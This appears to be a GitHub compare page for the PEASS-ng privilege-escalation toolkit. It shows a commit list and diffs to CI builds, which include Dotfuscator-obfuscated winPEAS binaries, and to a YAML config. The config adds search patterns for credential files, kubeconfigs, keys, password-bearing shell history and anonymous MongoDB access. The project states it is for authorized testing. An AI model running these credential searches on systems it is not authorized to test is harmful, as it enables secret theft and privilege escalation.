Compare commits

...

120 Commits

Author SHA1 Message Date
Carlos Polop
219b1669c3 Update Beaprint.cs 2022-10-06 17:46:45 +02:00
carlospolop
1274f21097 debug regex searches 2022-09-30 19:47:38 +02:00
carlospolop
f86e301a1b try fix long path error 2022-09-30 14:50:56 +02:00
Carlos Polop
940b4bc791 Update 2_container.sh 2022-09-30 13:48:06 +02:00
Carlos Polop
b2e1a4e64a Merge pull request #314 from lu-ka/master
added CVE-2022-2588; reduced CVE color
2022-09-23 16:40:53 +02:00
lu-ka
cb3e62a3ff added CVE-2022-2588; reduced color to red 2022-09-20 19:26:56 +02:00
Carlos Polop
701d41073a Merge pull request #313 from frkngksl/master
Update McAfee.cs
2022-09-20 00:50:05 +02:00
Furkan Göksel
31e318c870 Update McAfee.cs 2022-09-13 09:37:40 +03:00
Carlos Polop
eb34a006e2 Merge pull request #311 from Neology92/fix/winpeasbat-typo
Fix readme typo
2022-09-09 10:14:37 +02:00
Oskar Legner
3950a1f7bd Fix typo 2022-09-06 23:19:25 +02:00
Carlos Polop
eaac654739 Update linpeas_base.sh 2022-09-01 20:17:07 +02:00
Carlos Polop
7bc53594b0 Update README.md 2022-09-01 20:16:43 +02:00
Carlos Polop
55faa3b5e8 Update README.md 2022-09-01 20:12:39 +02:00
carlospolop
8b444ba674 10k update 2022-09-01 20:08:01 +02:00
Carlos Polop
a5ca003383 Merge pull request #307 from z0ug/patch-1
Update 2_container.sh
2022-08-20 21:22:19 +02:00
Carlos Polop
502e561445 Merge pull request #308 from z0ug/patch-2
Update 1_system_information.sh
2022-08-20 21:21:25 +02:00
z0ug
98e2318838 Update 1_system_information.sh 2022-08-20 20:01:18 +02:00
z0ug
27bc0ba5cc Update 1_system_information.sh
Missing test makes false positive
2022-08-20 19:55:24 +02:00
z0ug
2f7d8ea583 Update 2_container.sh
Typo in release_agent_breakout2 variable name
2022-08-20 19:42:48 +02:00
Carlos Polop
f1f321be44 Merge pull request #304 from Reelix/patch-1
Fixed a broken Github link
2022-08-09 12:09:03 +02:00
Reelix
dec10cded1 Fix a broken Github link
- Fixed a typo in the KrbRelayUp Github link
2022-07-31 20:16:54 +02:00
Carlos Polop
5fa0e76b69 Update linpeas_base.sh 2022-07-31 00:29:32 +02:00
Carlos Polop
480cf17e12 Update sensitive_files.yaml 2022-07-30 16:56:14 +02:00
carlospolop
999fcff035 linpeas update 2022-07-30 12:14:53 +02:00
carlospolop
bbc22b3a91 update 2022-07-30 12:06:10 +02:00
Carlos Polop
56d71ae847 Update sensitive_files.yaml 2022-07-30 11:59:30 +02:00
Carlos Polop
91bcfa109e Merge pull request #302 from codesalatdev/master
Add search for .cmd files
2022-07-30 11:58:32 +02:00
Noah Groß
e91676e6e6 Add search for .cmd files 2022-07-27 12:55:36 +02:00
Carlos Polop
fa0f2e17fb Update 7_interesting_files.sh 2022-05-11 21:13:18 +01:00
Carlos Polop
f8e0090962 Update 6_software_information.sh 2022-05-11 21:09:43 +01:00
Carlos Polop
10960f2456 Update linpeas_base.sh 2022-05-11 20:36:51 +01:00
Carlos Polop
0c9bee903a Update 4_network_information.sh 2022-05-11 20:25:37 +01:00
Carlos Polop
7f2b14d8d7 Update 1_system_information.sh 2022-05-11 20:23:27 +01:00
Carlos Polop
0a41095a1b Update 6_software_information.sh 2022-05-09 12:13:07 +01:00
Carlos Polop
06cb797f42 Update FUNDING.yml 2022-05-07 20:23:18 +01:00
carlospolop
585fcc33b2 change url 2022-05-01 17:43:55 +01:00
Carlos Polop
8d232ee083 Update Beaprint.cs 2022-04-08 23:54:49 +01:00
Carlos Polop
3b764452b5 Update linpeas_base.sh 2022-04-08 23:53:42 +01:00
Carlos Polop
2844a124cd Update README.md 2022-04-01 18:40:17 +01:00
Carlos Polop
6536042afd Update linpeas_base.sh 2022-04-01 10:58:42 +01:00
Carlos Polop
d17e4dcca7 Update 1_system_information.sh 2022-03-28 17:31:07 +01:00
Carlos Polop
a928340752 Update 3_procs_crons_timers_srvcs_sockets.sh 2022-03-28 10:21:49 +01:00
Carlos Polop
db059d9a23 Update README.md 2022-03-28 01:10:37 +01:00
Carlos Polop
4050c0e445 Update README.md 2022-03-27 19:17:36 +01:00
Carlos Polop
91805d7542 Update CI-master_tests.yml 2022-03-17 10:58:17 +00:00
Carlos Polop
9ea0c01b82 Merge pull request #282 from carlospolop/linpeas_dev
check /opt
2022-03-15 00:11:28 +00:00
carlospolop
b3eefad3fe check /opt 2022-03-14 16:30:44 -04:00
carlospolop
cf947f01c7 CVE-2022-0847 2022-03-10 05:34:15 -05:00
Carlos Polop
25a5b1ad63 Merge pull request #279 from lu-ka/master
Added check for CVE-2022-0847
2022-03-08 09:37:14 +00:00
lu|ka
ee80f8d97a Added check for CVE-2022-0847
See https://dirtypipe.cm4all.com/
2022-03-08 10:32:25 +01:00
Carlos Polop
7f3e4c440d Update 1_system_information.sh 2022-03-07 23:33:54 +00:00
Carlos Polop
1209890aa9 Update 6_software_information.sh 2022-03-07 23:19:23 +00:00
Carlos Polop
820e12f1ed Merge pull request #278 from carlospolop/linpeas_dev
Merge pull request #277 from julienbordet/linpeas_dev
2022-03-07 23:18:03 +00:00
Carlos Polop
f4e8443544 Merge pull request #277 from julienbordet/linpeas_dev
Single quotes in this line prevent '*' from being expanded
2022-03-07 23:14:52 +00:00
Julien Bordet
073114db86 SIngle quotes in this line prevent '*' from being expanded
Right now this section for sudoers.d does not work
2022-03-08 00:11:27 +01:00
Carlos Polop
75e11f7bb1 Update sensitive_files.yaml 2022-03-07 23:06:10 +00:00
carlospolop
09312c6883 winpeas fix 2022-03-07 22:49:35 +00:00
Carlos Polop
b6bf6a702a Update 1_system_information.sh 2022-03-07 11:23:37 +00:00
Carlos Polop
fb57aaa3d5 Merge pull request #274 from janroring/fix-lse-typo
Fixed typo that caused linux-exploit-suggester results not being displayed
2022-03-03 14:41:31 +00:00
Jan Roring
dd122b2f10 Fixed typo that caused linux-exploit-suggester results not being displayed 2022-03-02 17:47:14 +01:00
Carlos Polop
a89f235c43 Update linpeas_base.sh 2022-02-13 17:00:40 +00:00
Carlos Polop
7f0bbdbaae Update sensitive_files.yaml 2022-02-13 16:58:44 +00:00
Carlos Polop
4206e78080 Merge pull request #270 from secnigma/master
Improved CVE-2021-3560 Check
2022-02-11 19:22:44 +00:00
secnigma
dc7c9db7dd Improved CVE-2021-3560 Check
* Swapped `yum ` for `rpm ` for improved compatibility 
* Added known vulnerable version of Polkit
2022-02-11 13:23:50 -05:00
Carlos Polop
48ff8b061b Update 1_system_information.sh 2022-02-09 12:02:26 +00:00
Carlos Polop
ea09bd5f3a Update peas2json.py 2022-02-08 01:40:50 +00:00
Carlos Polop
68f1cf35b5 Merge pull request #267 from carlospolop/linpeas_dev
html and pdf
2022-02-07 13:52:33 +00:00
carlospolop
33f4ca923c html and pdf 2022-02-07 08:50:24 -05:00
Carlos Polop
b3c12e22b6 Merge pull request #266 from deathbyknowledge/add-json2pdf-script
Add json2pdf.py script
2022-02-07 13:41:58 +00:00
Steve James
ff39a57b49 add text coloring 2022-02-07 13:17:55 +00:00
Steve James
6ce34b2d61 add json2pdf.py script 2022-02-07 00:15:31 +00:00
Carlos Polop
0a4df51b06 Update 1_system_information.sh 2022-02-05 19:56:14 +00:00
Carlos Polop
7c275d50bc Update peass-parser.py 2022-02-04 15:43:17 +00:00
Carlos Polop
d57877077f Update peass-parser.py 2022-02-04 01:13:04 +00:00
Carlos Polop
e3238acc2b Update peass-parser.py 2022-02-04 01:12:40 +00:00
Carlos Polop
9f4045c697 Merge pull request #264 from deoxykev/master
More robust implementation of pkexec binary modification time check
2022-02-03 09:53:50 +00:00
Kevin Pham
52c2a1e11b fix typo
fix typo
2022-02-02 21:32:43 -08:00
Kevin Pham
f3495c48e9 Update 1_system_information.sh
More robust implementation of pkexec binary modification time check with integer comparison instead of date regex grep.

1642035600 == Thursday, January 13, 2022 1:00:00 AM
Which is when it was first patched. We have to check this way because the polkit version number is the same, patched & unpatched.
2022-02-02 21:30:43 -08:00
Carlos Polop
db89a779ad Update 1_system_information.sh 2022-02-01 16:21:36 +00:00
Carlos Polop
77cc22a657 Update 1_system_information.sh 2022-01-31 13:21:10 +00:00
Carlos Polop
cc1e2b4d3c Update CI-master_tests.yml 2022-01-31 13:19:53 +00:00
Carlos Polop
6ab4e6798f Update CI-master_tests.yml 2022-01-27 21:39:13 +00:00
Carlos Polop
568f8cafa9 Update CI-master_tests.yml 2022-01-27 18:26:59 +00:00
Carlos Polop
159a2d8643 Update CI-master_tests.yml 2022-01-27 15:35:57 +00:00
Carlos Polop
d02e91a451 Update CI-master_tests.yml 2022-01-26 10:19:51 +00:00
Carlos Polop
db1ad797d9 Update peass.rb 2022-01-24 10:33:57 +00:00
Carlos Polop
b9c8df71c5 Merge pull request #260 from carlospolop/linpeas_dev
Update 5_users_information.sh
2022-01-16 17:19:35 +00:00
Carlos Polop
c53425d4bc Update 5_users_information.sh 2022-01-16 12:19:27 +00:00
Carlos Polop
3723327e21 Update README.md 2022-01-16 12:04:31 +00:00
Carlos Polop
8f12ad9d67 Update winPEAS.bat 2022-01-09 21:39:55 +00:00
Carlos Polop
3faac92a01 Merge pull request #259 from melnicek/master
Typo
2022-01-09 21:36:01 +00:00
Peter Melniček
cb81dbf02f Update 3_procs_crons_timers_srvcs_sockets.sh 2022-01-09 17:55:39 +01:00
Carlos Polop
8c67152e17 Merge pull request #254 from godylockz/latest_release
Update Fetching Latest Releases
2022-01-05 23:42:44 +00:00
godylockz
9c31073279 Update to using release/latest/download 2021-12-31 12:23:33 -05:00
godylockz
f7eb8ce150 Remove trailing 2021-12-31 12:21:03 -05:00
godylockz
c8b28b1fb6 Fix CRLF 2021-12-31 12:18:31 -05:00
Carlos Polop
d15e3dffd5 Merge pull request #253 from carlospolop/linpeas_dev
color correction
2021-12-31 16:27:03 +00:00
carlospolop
07a2db8553 color correction 2021-12-31 05:50:45 -05:00
carlospolop
e81069ea0a color correction 2021-12-31 05:48:59 -05:00
Carlos Polop
21d3b3f349 Update README.md 2021-12-30 10:23:11 +00:00
Carlos Polop
aa94d9d432 Merge pull request #252 from carlospolop/linpeas_dev
trigger action
2021-12-30 09:32:35 +00:00
Carlos Polop
5b8f3968e8 Update CI-master_tests.yml 2021-12-30 01:02:53 +00:00
carlospolop
94e10c0ae7 trigger action 2021-12-29 20:00:04 -05:00
Carlos Polop
5d0d7c7997 Merge pull request #251 from carlospolop/linpeas_dev
trigger build
2021-12-30 00:58:23 +00:00
Carlos Polop
600dcc4549 Update CI-master_tests.yml 2021-12-30 00:57:50 +00:00
Carlos Polop
a65d251242 Update CI-master_tests.yml 2021-12-29 23:43:29 +00:00
Carlos Polop
0a605cdd32 Update README.md 2021-12-29 23:41:22 +00:00
Carlos Polop
5d763a1c8b Update README.md 2021-12-29 23:41:06 +00:00
Carlos Polop
23d8f264be Update README.md 2021-12-29 23:40:50 +00:00
carlospolop
1c02bbc9d6 trigger build 2021-12-29 18:40:06 -05:00
Carlos Polop
70e85e14dd Update CI-master_tests.yml 2021-12-29 23:37:20 +00:00
Carlos Polop
bfd0cf62a7 Update CI-master_tests.yml 2021-12-29 21:34:01 +00:00
Carlos Polop
be85f7e0e0 Update CI-master_tests.yml 2021-12-29 21:32:04 +00:00
Carlos Polop
6a0b3f7cb1 Update README.md 2021-12-29 21:28:22 +00:00
Carlos Polop
3ecb6090c1 Update README.md 2021-12-29 21:28:04 +00:00
Carlos Polop
86a2a24a1c Update README.md 2021-12-29 21:27:29 +00:00
Carlos Polop
605b718fba Update README.md 2021-12-29 21:27:05 +00:00
Carlos Polop
3ffaf1f1bb Update README.md 2021-12-29 21:26:36 +00:00
Carlos Polop
f27c56bd3c Update README.md 2021-12-29 21:22:16 +00:00
Carlos Polop
2e5e368109 Merge pull request #250 from carlospolop/linpeas_dev
use releases page
2021-12-29 21:09:20 +00:00
72 changed files with 5477 additions and 2348 deletions

2
.github/FUNDING.yml vendored
View File

@@ -1 +1 @@
custom: ['https://www.patreon.com/peass'] custom: ['https://github.com/sponsors/carlospolop']

View File

@@ -5,6 +5,9 @@ on:
branches: branches:
- master - master
schedule:
- cron: "5 4 * * SUN"
workflow_dispatch: workflow_dispatch:
jobs: jobs:
@@ -84,9 +87,9 @@ jobs:
# copy the files # copy the files
- name: Copy Dotfuscator generated files - name: Copy Dotfuscator generated files
run: | run: |
cp $env:DotFuscatorGeneratedPath\x64\winPEASx64.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64.exe" cp $env:DotFuscatorGeneratedPath\x64\winPEASx64.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64_ofs.exe"
cp $env:DotFuscatorGeneratedPath\x86\winPEASx86.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86.exe" cp $env:DotFuscatorGeneratedPath\x86\winPEASx86.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86_ofs.exe"
cp $env:DotFuscatorGeneratedPath\any\winPEASany.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany.exe" cp $env:DotFuscatorGeneratedPath\any\winPEASany.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany_ofs.exe"
# Upload all the versions for the release # Upload all the versions for the release
- name: Upload winpeasx64 - name: Upload winpeasx64
@@ -111,19 +114,19 @@ jobs:
uses: actions/upload-artifact@v2 uses: actions/upload-artifact@v2
with: with:
name: winPEASx64_ofs.exe name: winPEASx64_ofs.exe
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64.exe path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64_ofs.exe
- name: Upload winpeasx86ofs - name: Upload winpeasx86ofs
uses: actions/upload-artifact@v2 uses: actions/upload-artifact@v2
with: with:
name: winPEASx86_ofs.exe name: winPEASx86_ofs.exe
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86.exe path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86_ofs.exe
- name: Upload winpeasanyofs - name: Upload winpeasanyofs
uses: actions/upload-artifact@v2 uses: actions/upload-artifact@v2
with: with:
name: winPEASany_ofs.exe name: winPEASany_ofs.exe
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany.exe path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany_ofs.exe
- name: Upload winpeas.bat - name: Upload winpeas.bat
uses: actions/upload-artifact@v2 uses: actions/upload-artifact@v2
@@ -196,7 +199,7 @@ jobs:
# Run linpeas as a test # Run linpeas as a test
- name: Run linpeas - name: Run linpeas
run: linPEAS/linpeas.sh -t -e run: linPEAS/linpeas.sh -a -D
# Upload files for release # Upload files for release
- name: Upload linpeas.sh - name: Upload linpeas.sh
@@ -282,8 +285,8 @@ jobs:
run: linPEAS/linpeas.sh -h run: linPEAS/linpeas.sh -h
# Run macpeas parts to test it # Run macpeas parts to test it
- name: Run macpeas #- name: Run macpeas
run: linPEAS/linpeas.sh -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information # run: linPEAS/linpeas.sh -D -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information
Publish_release: Publish_release:
@@ -292,21 +295,6 @@ jobs:
steps: steps:
# Download files to release # Download files to release
- name: Download winpeasx64
uses: actions/download-artifact@v2
with:
name: winPEASx64.exe
- name: Download winpeasx86
uses: actions/download-artifact@v2
with:
name: winPEASx86.exe
- name: Download winpeasany
uses: actions/download-artifact@v2
with:
name: winPEASany.exe
- name: Download winpeasx64ofs - name: Download winpeasx64ofs
uses: actions/download-artifact@v2 uses: actions/download-artifact@v2
with: with:
@@ -322,6 +310,21 @@ jobs:
with: with:
name: winPEASany_ofs.exe name: winPEASany_ofs.exe
- name: Download winpeasx64
uses: actions/download-artifact@v2
with:
name: winPEASx64.exe
- name: Download winpeasx86
uses: actions/download-artifact@v2
with:
name: winPEASx86.exe
- name: Download winpeasany
uses: actions/download-artifact@v2
with:
name: winPEASany.exe
- name: Download winpeas.bat - name: Download winpeas.bat
uses: actions/download-artifact@v2 uses: actions/download-artifact@v2
with: with:
@@ -362,6 +365,10 @@ jobs:
with: with:
name: linpeas_darwin_arm64 name: linpeas_darwin_arm64
- name: Get current date
id: date
run: echo "::set-output name=date::$(date +'%Y%m%d')"
# Create the release # Create the release
- name: Create Release - name: Create Release
id: create_release id: create_release
@@ -369,8 +376,8 @@ jobs:
env: env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with: with:
tag_name: ${{ github.ref }} tag_name: ${{steps.date.outputs.date}}
release_name: Release ${{ github.ref }} release_name: Release ${{ github.ref }} ${{steps.date.outputs.date}}
draft: false draft: false
prerelease: false prerelease: false

2
.gitignore vendored
View File

@@ -26,3 +26,5 @@ linPEAS/builder/src/__pycache__/*
linPEAS/linpeas.sh linPEAS/linpeas.sh
sh2bin sh2bin
sh2bin/* sh2bin/*
.dccache
./*/.dccache

View File

@@ -12,30 +12,34 @@ Here you will find **privilege escalation tools for Windows and Linux/Unix\* and
These tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily. These tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily.
- Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)** - Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
- **[WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)** - **[WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)**
- Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist)** - Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist)**
- **[LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)** - **[LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)**
## Quick Start ## Quick Start
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/tag/refs%2Fheads%2Fmaster)**. Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
## JSON, HTML & PDF output
Check the **[parsers](./parsers/)** directory to **transform PEASS outputs to JSON, HTML and PDF**
## Support PEASS-ng and HackTricks and get benefits
Do you want to have **access the latest version of Hacktricks and PEASS**, obtain a **PDF copy of Hacktricks**, and more? Discover the **brand new [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop?frequency=one-time) for individuals and companies**.
**LinPEAS, WinPEAS and MacPEAS** arent enough for you? Welcome [**The PEASS Family**](https://opensea.io/collection/the-peass-family/), a limited collection of [**exclusive NFTs**](https://opensea.io/collection/the-peass-family/) of our favourite PEASS in disguise, designed by my team. Go **get your favourite and make it yours!** And if you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!**
You can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@carlospolopm](https://twitter.com/carlospolopm).
## Let's improve PEASS together ## Let's improve PEASS together
If you want to **add something** and have **any cool idea** related to this project, please let me know it in the **telegram group https://t.me/peass** or contribute reading the **[CONTRIBUTING.md](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/CONTRIBUTING.md)** file. If you want to **add something** and have **any cool idea** related to this project, please let me know it in the **telegram group https://t.me/peass** or contribute reading the **[CONTRIBUTING.md](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/CONTRIBUTING.md)** file.
## PEASS Style
Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas
## Advisory ## Advisory
All the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own machines and/or with the owner's permission. All the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own machines and/or with the owner's permission.
## License
MIT License
By Polop<sup>(TM)</sup> By Polop<sup>(TM)</sup>

View File

@@ -27,6 +27,8 @@ root_folders:
- /tmp #common - /tmp #common
- /usr #common - /usr #common
- /var #common - /var #common
- /concourse-auth
- /concourse-keys
common_file_folders: common_file_folders:
@@ -71,16 +73,15 @@ peas_regexes_markup: "peass{REGEXES}"
peas_extrasections_markup: "peass{EXTRA_SECTIONS}" peas_extrasections_markup: "peass{EXTRA_SECTIONS}"
peas_finds_markup: "peass{FINDS_HERE}" peas_finds_markup: "peass{FINDS_HERE}"
peas_finds_custom_markup: "peass{FINDS_CUSTOM}"
find_line_markup: "peass{FIND_PARAMS_HERE}" find_line_markup: "peass{FIND_PARAMS_HERE}"
find_template: > find_template: >
`eval_bckgrd "find peass{FIND_PARAMS_HERE} 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` `eval_bckgrd "find peass{FIND_PARAMS_HERE} 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
peas_storages_markup: "peass{STORAGES_HERE}" peas_storages_markup: "peass{STORAGES_HERE}"
storage_line_markup: "peass{STORAGE_PARAMS_HERE}" storage_line_markup: "peass{STORAGE_PARAMS_HERE}"
storage_line_extra_markup: "peass{STORAGE_PARAMS_EXTRA_HERE}" storage_line_extra_markup: "peass{STORAGE_PARAMS_EXTRA_HERE}"
storage_template: > storage_template: >
$(echo -e "peass{STORAGE_PARAMS_HERE}" peass{STORAGE_PARAMS_EXTRA_HERE} | sort | uniq | head -n 70) $(echo -e "peass{STORAGE_PARAMS_HERE}" peass{STORAGE_PARAMS_EXTRA_HERE} | sort | uniq | head -n 70)
int_hidden_files_markup: "peass{INT_HIDDEN_FILES}" int_hidden_files_markup: "peass{INT_HIDDEN_FILES}"
suidVB1_markup: "peass{SUIDVB1_HERE}" suidVB1_markup: "peass{SUIDVB1_HERE}"
@@ -92,7 +93,9 @@ cap_setgid_markup: "peass{CAP_SETGID_HERE}"
les_markup: "peass{LES}" les_markup: "peass{LES}"
les2_markup: "peass{LES2}" les2_markup: "peass{LES2}"
fat_linpeas_amicontained_markup: "peass{AMICONTAINED}"
fat_linpeas_gitleaks_linux_markup: "peass{GITLEAKS_LINUX}"
fat_linpeas_gitleaks_macos_markup: "peass{GITLEAKS_MACOS}"
############################## ##############################
## AUTO GENERATED VARIABLES ## ## AUTO GENERATED VARIABLES ##
@@ -103,7 +106,7 @@ variables_markup: "peass{VARIABLES}"
variables: variables:
- name: pwd_inside_history - name: pwd_inside_history
value: "enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|root|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|xfreerdp|^ssh|steghide|@|KEY=|TOKEN=|BEARER=|Authorization:" value: "enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|root|snyk|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|xfreerdp|^ssh|steghide|@|KEY=|TOKEN=|BEARER=|Authorization:"
@@ -238,6 +241,8 @@ defaults:
############################### ###############################
## Files & folders to search ## ## Files & folders to search ##
############################### ###############################
@@ -317,6 +322,24 @@ search:
search_in: search_in:
- common - common
- name: "passwd.ibd"
value:
type: f
search_in:
- common
- name: "password*.ibd"
value:
type: f
search_in:
- common
- name: "pwd.ibd"
value:
type: f
search_in:
- common
- name: MariaDB - name: MariaDB
value: value:
config: config:
@@ -383,14 +406,16 @@ search:
search_in: search_in:
- common - common
- name: Apache - name: Apache-Nginx
value: value:
config: config:
auto_check: True auto_check: True
exec: exec:
- 'echo "Version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)"' - 'echo "Apache version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)"'
- 'echo "Nginx version: $(warn_exec nginx -v 2>/dev/null)"'
- if [ -d "/etc/apache2" ] && [ -r "/etc/apache2" ]; then grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null; fi
- if [ -d "/usr/share/nginx/modules" ] && [ -r "/usr/share/nginx/modules" ]; then print_3title 'Nginx modules'; ls /usr/share/nginx/modules | sed -${E} "s,$NGINX_KNOWN_MODULES,${SED_GREEN},g"; fi
- "print_3title 'PHP exec extensions'" - "print_3title 'PHP exec extensions'"
- 'grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null'
files: files:
- name: "sites-enabled" - name: "sites-enabled"
@@ -399,8 +424,7 @@ search:
files: files:
- name: "*" - name: "*"
value: value:
bad_regex: "AuthType|AuthName|AuthUserFile|ServerName|ServerAlias" bad_regex: "AuthType|AuthName|AuthUserFile|ServerName|ServerAlias|command on"
only_bad_lines: True
remove_empty_lines: True remove_empty_lines: True
remove_regex: '#' remove_regex: '#'
search_in: search_in:
@@ -409,6 +433,7 @@ search:
- name: "000-default.conf" - name: "000-default.conf"
value: value:
bad_regex: "AuthType|AuthName|AuthUserFile|ServerName|ServerAlias" bad_regex: "AuthType|AuthName|AuthUserFile|ServerName|ServerAlias"
remove_regex: '#'
type: f type: f
search_in: search_in:
- common - common
@@ -422,6 +447,28 @@ search:
search_in: search_in:
- common - common
- name: "nginx.conf"
value:
bad_regex: "location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\\s+\\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection"
remove_regex: "#"
type: f
remove_empty_lines: True
search_in:
- common
- name: "nginx"
value:
type: d
files:
- name: "*.conf"
value:
bad_regex: "location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\\s+\\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection"
remove_empty_lines: True
remove_regex: '#'
remove_path: "nginx.conf"
search_in:
- common
- name: PHP Sessions - name: PHP Sessions
value: value:
config: config:
@@ -541,6 +588,7 @@ search:
auto_check: True auto_check: True
exec: exec:
- 'echo "Version: $(warn_exec mongo --version 2>/dev/null; warn_exec mongod --version 2>/dev/null)"' - 'echo "Version: $(warn_exec mongo --version 2>/dev/null; warn_exec mongod --version 2>/dev/null)"'
- if [ "$(command -v mongo)" ]; then echo "show dbs" | mongo 127.0.0.1 > /dev/null 2>&1;[ "$?" == "0" ] && echo "Possible mongo anonymous authentication" | sed -${E} "s,.*|kube,${SED_RED},"; fi
files: files:
- name: "mongod*.conf" - name: "mongod*.conf"
@@ -551,6 +599,21 @@ search:
search_in: search_in:
- common - common
- name: Rocketchat
value:
config:
auto_check: True
files:
- name: "rocketchat.service"
value:
bad_regex: "mongodb://.*"
line_grep: '-i "Environment"'
type: f
search_in:
- common
- /lib
- /systemd
- name: Supervisord - name: Supervisord
value: value:
@@ -669,6 +732,34 @@ search:
search_in: search_in:
- /etc - /etc
- name: GlusterFS
value:
config:
auto_check: True
files:
- name: "glusterfs.pem"
value:
type: f
just_list_file: True
search_in:
- common
- name: "glusterfs.ca"
value:
type: f
just_list_file: True
search_in:
- common
- name: "glusterfs.key"
value:
type: f
just_list_file: True
search_in:
- common
- name: Anaconda ks - name: Anaconda ks
value: value:
config: config:
@@ -706,32 +797,74 @@ search:
search_in: search_in:
- common - common
- name: Kubelet - name: Kubernetes
value: value:
config: config:
auto_check: True auto_check: True
exec:
- (env || set) | grep -Ei "kubernetes|kube" | grep -v "PSTORAGE_KUBERNETES|USEFUL_SOFTWARE" | sed -${E} "s,kubernetes|kube,${SED_RED},"
files:
- name: "kubelet"
value:
files: files:
- name: "kubeconfig" - name: "kubeconfig"
value: value:
bad_regex: "server:|cluster:|namespace:|user:|exec:" bad_regex: "server:|cluster:|namespace:|user:|exec:"
type: d type: d
search_in:
- common
- name: "kubelet-kubeconfig"
value:
bad_regex: "server:|cluster:|namespace:|user:|exec:"
type: d
search_in:
- common
- name: "psk.txt"
value:
remove_empty_lines: True
bad_regex: ".*"
type: f
search_in:
- common
- name: ".kube*"
value:
files:
- name: "config"
value:
bad_regex: "server:|cluster:|namespace:|user:|exec:"
type: d
search_in:
- common
- name: "kubelet"
value:
files:
- name: "kubelet.conf"
value:
bad_regex: "server:|cluster:|namespace:|user:|exec:"
- name: "config.yaml"
value:
bad_regex: "server:|cluster:|namespace:|user:|exec:"
- name: "kubeadm-flags.env"
value:
remove_empty_lines: True
type: d
search_in: search_in:
- /var - /var
- name: "kube-proxy" - name: "kube-proxy"
value: value:
files:
- name: "kubeconfig"
value:
bad_regex: "cluster:|certificate-authority-data:|namespace:|user:|token:"
type: d type: d
search_in: search_in:
- /var - /var
- name: "kubernetes"
value:
type: d
search_in:
- /etc
- name: VNC - name: VNC
value: value:
config: config:
